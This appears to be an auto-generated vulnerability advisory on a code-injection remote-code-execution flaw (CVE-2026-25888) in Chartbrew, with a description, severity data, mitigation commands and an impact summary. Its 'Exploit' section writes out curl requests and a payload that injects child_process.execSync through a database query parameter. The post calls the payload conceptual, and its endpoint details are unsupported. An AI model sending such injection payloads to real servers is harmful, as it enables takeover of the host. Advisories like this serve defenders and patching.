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How CVE-2026-25888 Works:
CVE-2026-25888 is a critical vulnerability in Chartbrew versions prior to 4.8.1 that allows remote code execution through a vulnerable API endpoint . The flaw stems from improper neutralization of special elements used in a code generation context (CWE-94) . Specifically, an API used for creating or managing data connections fails to adequately sanitize user-supplied input before passing it to an underlying interpreter or evaluation function . An authenticated attacker with low privileges can send a specially crafted request to this API . This request injects malicious code into a parameter that is later executed by the server. Because the application processes this input without proper validation, the injected commands are run with the privileges of the Chartbrew application. This leads to complete compromise of the confidentiality, integrity, and availability of the server, allowing the attacker to execute arbitrary system commands, install malware, or pivot to other internal systems .
dailycve form:
Platform: Chartbrew
Version: < 4.8.1
Vulnerability : Remote Code Execution
Severity: 8.8 (HIGH)
date: March 6, 2026
Prediction: Patched March 6, 2026
What Undercode Say:
Analytics:
The vulnerability exists in API endpoints that handle database connections and dataset queries. It requires low-privileged authentication. Successful exploitation yields high system impact. The CVSS:3.1 vector is AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H .
Exploit:
Identify vulnerable Chartbrew instance version
curl -s http://target.chartbrew.instance/api/health | jq '.version'
Example of a malicious payload structure (conceptual)
PAYLOAD='{"database":"test", "query":"db.collection.find({$where: \"function() { return process.mainModule.require('\''child_process'\'').execSync('\''touch /tmp/brew_rce'\''); }\"})"}'
Send exploit to vulnerable API endpoint
curl -X POST http://target.chartbrew.instance/api/v1/datasets/query \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_AUTH_TOKEN" \
-d "$PAYLOAD"
Verify code execution
curl -s http://target.chartbrew.instance/api/admin/health || echo "Check /tmp on server"
Protection from this CVE:
Immediate mitigation: Update to patched version npm install -g [email protected] If unable to update immediately, restrict network access sudo ufw deny from any to any port 3000 sudo ufw allow from 192.168.1.0/24 to any port 3000 Verify updated version chartbrew --version Should return 4.8.1 or higher Monitor logs for exploitation attempts sudo journalctl -u chartbrew -f | grep -E "query|database|exec"
Impact:
Successful exploitation leads to full remote code execution on the server hosting Chartbrew. An attacker can gain complete control over the application server, access all connected databases and APIs, exfiltrate sensitive chart data, and use the compromised host as a foothold for further attacks inside the network. The vulnerability has high impact on system confidentiality, integrity, and availability .
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
